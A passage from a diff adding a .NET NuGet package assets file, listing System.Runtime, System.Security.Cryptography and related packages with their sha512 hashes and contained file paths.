"ref/netstandard1.5/fr/System.Runtime.xml", + "ref/netstandard1.5/it/System.Runtime.xml", + "ref/netstandard1.5/ja/System.Runtime.xml", + "ref/netstandard1.5/ko/System.Runtime.xml", + "ref/netstandard1.5/ru/System.Runtime.xml", + "ref/netstandard1.5/zh-hans/System.Runtime.xml", + "ref/netstandard1.5/zh-hant/System.Runtime.xml", + "ref/portable-net45+win8+wp80+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.4.3.0.nupkg.sha512", + "system.runtime.nuspec" + ] + }, + "System.Runtime.CompilerServices.Unsafe/6.1.0": { + "sha512": "5o/HZxx6RVqYlhKSq8/zronDkALJZUT2Vz0hx43f0gwe8mwlM0y2nYlqdBwLMzr262Bwvpikeb/yEwkAa5PADg==", + "type": "package", + "path": "system.runtime.compilerservices.unsafe/6.1.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Runtime.CompilerServices.Unsafe.targets", + "buildTransitive/net462/_._", + "buildTransitive/net6.0/_._", + "buildTransitive/netcoreapp2.0/System.Runtime.CompilerServices.Unsafe.targets", + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll", + "lib/net462/System.Runtime.CompilerServices.Unsafe.xml", + "lib/net7.0/_._", + "lib/netstandard2.0/System.Runtime.CompilerServices.Unsafe.dll", + "lib/netstandard2.0/System.Runtime.CompilerServices.Unsafe.xml", + "system.runtime.compilerservices.unsafe.6.1.0.nupkg.sha512", + "system.runtime.compilerservices.unsafe.nuspec" + ] + }, + "System.Runtime.Extensions/4.3.0": { + "sha512": "guW0uK0fn5fcJJ1tJVXYd7/1h5F+pea1r7FLSOz/f8vPEqbR2ZAknuRDvTQ8PzAilDveOxNjSfr0CHfIQfFk8g==", + "type": "package", + "path": "system.runtime.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Runtime.Extensions.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Runtime.Extensions.dll", + "ref/netcore50/System.Runtime.Extensions.dll", + "ref/netcore50/System.Runtime.Extensions.xml", + "ref/netcore50/de/System.Runtime.Extensions.xml", + "ref/netcore50/es/System.Runtime.Extensions.xml", + "ref/netcore50/fr/System.Runtime.Extensions.xml", + "ref/netcore50/it/System.Runtime.Extensions.xml", + "ref/netcore50/ja/System.Runtime.Extensions.xml", + "ref/netcore50/ko/System.Runtime.Extensions.xml", + "ref/netcore50/ru/System.Runtime.Extensions.xml", + "ref/netcore50/zh-hans/System.Runtime.Extensions.xml", + "ref/netcore50/zh-hant/System.Runtime.Extensions.xml", + "ref/netstandard1.0/System.Runtime.Extensions.dll", + "ref/netstandard1.0/System.Runtime.Extensions.xml", + "ref/netstandard1.0/de/System.Runtime.Extensions.xml", + "ref/netstandard1.0/es/System.Runtime.Extensions.xml", + "ref/netstandard1.0/fr/System.Runtime.Extensions.xml", + "ref/netstandard1.0/it/System.Runtime.Extensions.xml", + "ref/netstandard1.0/ja/System.Runtime.Extensions.xml", + "ref/netstandard1.0/ko/System.Runtime.Extensions.xml", + "ref/netstandard1.0/ru/System.Runtime.Extensions.xml", + "ref/netstandard1.0/zh-hans/System.Runtime.Extensions.xml", + "ref/netstandard1.0/zh-hant/System.Runtime.Extensions.xml", + "ref/netstandard1.3/System.Runtime.Extensions.dll", + "ref/netstandard1.3/System.Runtime.Extensions.xml", + "ref/netstandard1.3/de/System.Runtime.Extensions.xml", + "ref/netstandard1.3/es/System.Runtime.Extensions.xml", + "ref/netstandard1.3/fr/System.Runtime.Extensions.xml", + "ref/netstandard1.3/it/System.Runtime.Extensions.xml", + "ref/netstandard1.3/ja/System.Runtime.Extensions.xml", + "ref/netstandard1.3/ko/System.Runtime.Extensions.xml", + "ref/netstandard1.3/ru/System.Runtime.Extensions.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.Extensions.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.Extensions.xml", + "ref/netstandard1.5/System.Runtime.Extensions.dll", + "ref/netstandard1.5/System.Runtime.Extensions.xml", + "ref/netstandard1.5/de/System.Runtime.Extensions.xml", + "ref/netstandard1.5/es/System.Runtime.Extensions.xml", + "ref/netstandard1.5/fr/System.Runtime.Extensions.xml", + "ref/netstandard1.5/it/System.Runtime.Extensions.xml", + "ref/netstandard1.5/ja/System.Runtime.Extensions.xml", + "ref/netstandard1.5/ko/System.Runtime.Extensions.xml", + "ref/netstandard1.5/ru/System.Runtime.Extensions.xml", + "ref/netstandard1.5/zh-hans/System.Runtime.Extensions.xml", + "ref/netstandard1.5/zh-hant/System.Runtime.Extensions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.extensions.4.3.0.nupkg.sha512", + "system.runtime.extensions.nuspec" + ] + }, + "System.Runtime.Handles/4.3.0": { + "sha512": "OKiSUN7DmTWeYb3l51A7EYaeNMnvxwE249YtZz7yooT4gOZhmTjIn48KgSsw2k2lYdLgTKNJw/ZIfSElwDRVgg==", + "type": "package", + "path": "system.runtime.handles/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/_._", + "ref/netstandard1.3/System.Runtime.Handles.dll", + "ref/netstandard1.3/System.Runtime.Handles.xml", + "ref/netstandard1.3/de/System.Runtime.Handles.xml", + "ref/netstandard1.3/es/System.Runtime.Handles.xml", + "ref/netstandard1.3/fr/System.Runtime.Handles.xml", + "ref/netstandard1.3/it/System.Runtime.Handles.xml", + "ref/netstandard1.3/ja/System.Runtime.Handles.xml", + "ref/netstandard1.3/ko/System.Runtime.Handles.xml", + "ref/netstandard1.3/ru/System.Runtime.Handles.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.Handles.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.Handles.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.handles.4.3.0.nupkg.sha512", + "system.runtime.handles.nuspec" + ] + }, + "System.Runtime.InteropServices/4.3.0": { + "sha512": "uv1ynXqiMK8mp1GM3jDqPCFN66eJ5w5XNomaK2XD+TuCroNTLFGeZ+WCmBMcBDyTFKou3P6cR6J/QsaqDp7fGQ==", + "type": "package", + "path": "system.runtime.interopservices/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Runtime.InteropServices.dll", + "lib/net463/System.Runtime.InteropServices.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Runtime.InteropServices.dll", + "ref/net463/System.Runtime.InteropServices.dll", + "ref/netcore50/System.Runtime.InteropServices.dll", + "ref/netcore50/System.Runtime.InteropServices.xml", + "ref/netcore50/de/System.Runtime.InteropServices.xml", + "ref/netcore50/es/System.Runtime.InteropServices.xml", + "ref/netcore50/fr/System.Runtime.InteropServices.xml", + "ref/netcore50/it/System.Runtime.InteropServices.xml", + "ref/netcore50/ja/System.Runtime.InteropServices.xml", + "ref/netcore50/ko/System.Runtime.InteropServices.xml", + "ref/netcore50/ru/System.Runtime.InteropServices.xml", + "ref/netcore50/zh-hans/System.Runtime.InteropServices.xml", + "ref/netcore50/zh-hant/System.Runtime.InteropServices.xml", + "ref/netcoreapp1.1/System.Runtime.InteropServices.dll", + "ref/netstandard1.1/System.Runtime.InteropServices.dll", + "ref/netstandard1.1/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/zh-hant/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/System.Runtime.InteropServices.dll", + "ref/netstandard1.2/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/zh-hant/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/System.Runtime.InteropServices.dll", + "ref/netstandard1.3/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/System.Runtime.InteropServices.dll", + "ref/netstandard1.5/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/zh-hant/System.Runtime.InteropServices.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.interopservices.4.3.0.nupkg.sha512", + "system.runtime.interopservices.nuspec" + ] + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "sha512": "cbz4YJMqRDR7oLeMRbdYv7mYzc++17lNhScCX0goO2XpGWdvAt60CGN+FHdePUEHCe/Jy9jUlvNAiNdM+7jsOw==", + "type": "package", + "path": "system.runtime.interopservices.runtimeinformation/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/win8/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/wpa81/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/unix/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/win/lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/win/lib/netcore50/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/win/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "system.runtime.interopservices.runtimeinformation.4.3.0.nupkg.sha512", + "system.runtime.interopservices.runtimeinformation.nuspec" + ] + }, + "System.Runtime.Numerics/4.3.0": { + "sha512": "yMH+MfdzHjy17l2KESnPiF2dwq7T+xLnSJar7slyimAkUh/gTrS9/UQOtv7xarskJ2/XDSNvfLGOBQPjL7PaHQ==", + "type": "package", + "path": "system.runtime.numerics/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Runtime.Numerics.dll", + "lib/netstandard1.3/System.Runtime.Numerics.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Runtime.Numerics.dll", + "ref/netcore50/System.Runtime.Numerics.xml", + "ref/netcore50/de/System.Runtime.Numerics.xml", + "ref/netcore50/es/System.Runtime.Numerics.xml", + "ref/netcore50/fr/System.Runtime.Numerics.xml", + "ref/netcore50/it/System.Runtime.Numerics.xml", + "ref/netcore50/ja/System.Runtime.Numerics.xml", + "ref/netcore50/ko/System.Runtime.Numerics.xml", + "ref/netcore50/ru/System.Runtime.Numerics.xml", + "ref/netcore50/zh-hans/System.Runtime.Numerics.xml", + "ref/netcore50/zh-hant/System.Runtime.Numerics.xml", + "ref/netstandard1.1/System.Runtime.Numerics.dll", + "ref/netstandard1.1/System.Runtime.Numerics.xml", + "ref/netstandard1.1/de/System.Runtime.Numerics.xml", + "ref/netstandard1.1/es/System.Runtime.Numerics.xml", + "ref/netstandard1.1/fr/System.Runtime.Numerics.xml", + "ref/netstandard1.1/it/System.Runtime.Numerics.xml", + "ref/netstandard1.1/ja/System.Runtime.Numerics.xml", + "ref/netstandard1.1/ko/System.Runtime.Numerics.xml", + "ref/netstandard1.1/ru/System.Runtime.Numerics.xml", + "ref/netstandard1.1/zh-hans/System.Runtime.Numerics.xml", + "ref/netstandard1.1/zh-hant/System.Runtime.Numerics.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.numerics.4.3.0.nupkg.sha512", + "system.runtime.numerics.nuspec" + ] + }, + "System.Security.AccessControl/4.7.0": { + "sha512": "JECvTt5aFF3WT3gHpfofL2MNNP6v84sxtXxpqhLBCcDRzqsPBmHhQ6shv4DwwN2tRlzsUxtb3G9M3763rbXKDg==", + "type": "package", + "path": "system.security.accesscontrol/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/net46/System.Security.AccessControl.dll", + "lib/net461/System.Security.AccessControl.dll", + "lib/net461/System.Security.AccessControl.xml", + "lib/netstandard1.3/System.Security.AccessControl.dll", + "lib/netstandard2.0/System.Security.AccessControl.dll", + "lib/netstandard2.0/System.Security.AccessControl.xml", + "lib/uap10.0.16299/_._", + "ref/net46/System.Security.AccessControl.dll", + "ref/net461/System.Security.AccessControl.dll", + "ref/net461/System.Security.AccessControl.xml", + "ref/netstandard1.3/System.Security.AccessControl.dll", + "ref/netstandard1.3/System.Security.AccessControl.xml", + "ref/netstandard1.3/de/System.Security.AccessControl.xml", + "ref/netstandard1.3/es/System.Security.AccessControl.xml", + "ref/netstandard1.3/fr/System.Security.AccessControl.xml", + "ref/netstandard1.3/it/System.Security.AccessControl.xml", + "ref/netstandard1.3/ja/System.Security.AccessControl.xml", + "ref/netstandard1.3/ko/System.Security.AccessControl.xml", + "ref/netstandard1.3/ru/System.Security.AccessControl.xml", + "ref/netstandard1.3/zh-hans/System.Security.AccessControl.xml", + "ref/netstandard1.3/zh-hant/System.Security.AccessControl.xml", + "ref/netstandard2.0/System.Security.AccessControl.dll", + "ref/netstandard2.0/System.Security.AccessControl.xml", + "ref/uap10.0.16299/_._", + "runtimes/win/lib/net46/System.Security.AccessControl.dll", + "runtimes/win/lib/net461/System.Security.AccessControl.dll", + "runtimes/win/lib/net461/System.Security.AccessControl.xml", + "runtimes/win/lib/netcoreapp2.0/System.Security.AccessControl.dll", + "runtimes/win/lib/netcoreapp2.0/System.Security.AccessControl.xml", + "runtimes/win/lib/netstandard1.3/System.Security.AccessControl.dll", + "runtimes/win/lib/uap10.0.16299/_._", + "system.security.accesscontrol.4.7.0.nupkg.sha512", + "system.security.accesscontrol.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "sha512": "W1kd2Y8mYSCgc3ULTAZ0hOP2dSdG5YauTb1089T0/kRcN2MpSAW1izOFROrJgxSlMn3ArsgHXagigyi+ibhevg==", + "type": "package", + "path": "system.security.cryptography.algorithms/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Algorithms.dll", + "lib/net461/System.Security.Cryptography.Algorithms.dll", + "lib/net463/System.Security.Cryptography.Algorithms.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Algorithms.dll", + "ref/net461/System.Security.Cryptography.Algorithms.dll", + "ref/net463/System.Security.Cryptography.Algorithms.dll", + "ref/netstandard1.3/System.Security.Cryptography.Algorithms.dll", + "ref/netstandard1.4/System.Security.Cryptography.Algorithms.dll", + "ref/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/osx/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/net461/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/net463/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/netcore50/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "system.security.cryptography.algorithms.4.3.0.nupkg.sha512", + "system.security.cryptography.algorithms.nuspec" + ] + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "sha512": "1DEWjZZly9ae9C79vFwqaO5kaOlI5q+3/55ohmq/7dpDyDfc8lYe7YVxJUZ5MF/NtbkRjwFRo14yM4OEo9EmDw==", + "type": "package", + "path": "system.security.cryptography.encoding/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Encoding.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Encoding.dll", + "ref/netstandard1.3/System.Security.Cryptography.Encoding.dll", + "ref/netstandard1.3/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/de/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/es/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/fr/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/it/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/ja/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/ko/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/ru/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/zh-hans/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/zh-hant/System.Security.Cryptography.Encoding.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.Encoding.dll", + "runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll", + "system.security.cryptography.encoding.4.3.0.nupkg.sha512", + "system.security.cryptography.encoding.nuspec" + ] + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "sha512": "7bDIyVFNL/xKeFHjhobUAQqSpJq9YTOpbEs6mR233Et01STBMXNAc/V+BM6dwYGc95gVh/Zf+iVXWzj3mE8DWg==", + "type": "package", + "path": "system.security.cryptography.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Primitives.dll", + "lib/netstandard1.3/System.Security.Cryptography.Primitives.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Primitives.dll", + "ref/netstandard1.3/System.Security.Cryptography.Primitives.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.security.cryptography.primitives.4.3.0.nupkg.sha512", + "system.security.cryptography.primitives.nuspec" + ] + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "sha512": "t2Tmu6Y2NtJ2um0RtcuhP7ZdNNxXEgUm2JeoA/0NvlMjAhKCnM1NX07TDl3244mVp3QU6LPEhT3HTtH1uF7IYw==", + "type": "package", + "path": "system.security.cryptography.x509certificates/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.X509Certificates.dll", + "lib/net461/System.Security.Cryptography.X509Certificates.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.X509Certificates.dll", + "ref/net461/System.Security.Cryptography.X509Certificates.dll", + "ref/netstandard1.3/System.Security.Cryptography.X509Certificates.dll", + "ref/netstandard1.3/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/de/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/es/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/fr/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/it/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/ja/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/ko/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/ru/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/zh-hans/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.3/zh-hant/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/System.Security.Cryptography.X509Certificates.dll", + "ref/netstandard1.4/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/de/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/es/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/fr/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/it/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/ja/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/ko/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/ru/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/zh-hans/System.Security.Cryptography.X509Certificates.xml", + "ref/netstandard1.4/zh-hant/System.Security.Cryptography.X509Certificates.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/net461/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/netcore50/System.Security.Cryptography.X509Certificates.dll", + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll", + "system.security.cryptography.x509certificates.4.3.0.nupkg.sha512", + "system.security.cryptography.x509certificates.nuspec" + ] + }, + "System.Security.Principal.Windows/4.7.0": { + "sha512": "ojD0PX0XhneCsUbAZVKdb7h/70vyYMDYs85lwEI+LngEONe/17A0cFaRFqZU+sOEidcVswYWikYOQ9PPfjlbtQ==", + "type": "package", + "path": "system.security.principal.windows/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/net46/System.Security.Principal.Windows.dll", + "lib/net461/System.Security.Principal.Windows.dll", + "lib/net461/System.Security.Principal.Windows.xml", + "lib/netstandard1.3/System.Security.Principal.Windows.dll", + "lib/netstandard2.0/System.Security.Principal.Windows.dll", + "lib/netstandard2.0/System.Security.Principal.Windows.xml", + "lib/uap10.0.16299/_._", + "ref/net46/System.Security.Principal.Windows.dll", + "ref/net461/System.Security.Principal.Windows.dll", + "ref/net461/System.Security.Principal.Windows.xml", + "ref/netcoreapp3.0/System.Security.Principal.Windows.dll", + "ref/netcoreapp3.0/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/System.Security.Principal.Windows.dll", + "ref/netstandard1.3/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/de/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/es/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/fr/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/it/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/ja/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/ko/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/ru/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/zh-hans/System.Security.Principal.Windows.xml", + "ref/netstandard1.3/zh-hant/System.Security.Principal.Windows.xml", + "ref/netstandard2.0/System.Security.Principal.Windows.dll", + "ref/netstandard2.0/System.Security.Principal.Windows.xml", + "ref/uap10.0.16299/_._", + "runtimes/unix/lib/netcoreapp2.0/System.Security.Principal.Windows.dll", + "runtimes/unix/lib/netcoreapp2.0/System.Security.Principal.Windows.xml", + "runtimes/unix/lib/netcoreapp2.1/System.Security.Principal.Windows.dll", + "runtimes/unix/lib/netcoreapp2.1/System.Security.Principal.Windows.xml", + "runtimes/win/lib/net46/System.Security.Principal.Windows.dll", + "runtimes/win/lib/net461/System.Security.Principal.Windows.dll", + "runtimes/win/lib/net461/System.Security.Principal.Windows.xml", + "runtimes/win/lib/netcoreapp2.0/System.Security.Principal.Windows.dll", + "runtimes/win/lib/netcoreapp2.0/System.Security.Principal.Windows.xml", + "runtimes/win/lib/netcoreapp2.1/System.Security.Principal.Windows.dll", + "runtimes/win/lib/netcoreapp2.1/System.Security.Principal.Windows.xml", + "runtimes/win/lib/netstandard1.3/System.Security.Principal.Windows.dll", + "runtimes/win/lib/uap10.0.16299/_._", + "system.security.principal.windows.4.7.0.nupkg.sha512", + "system.security.principal.windows.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.Text.Encoding/4.3.0": { + "sha512": 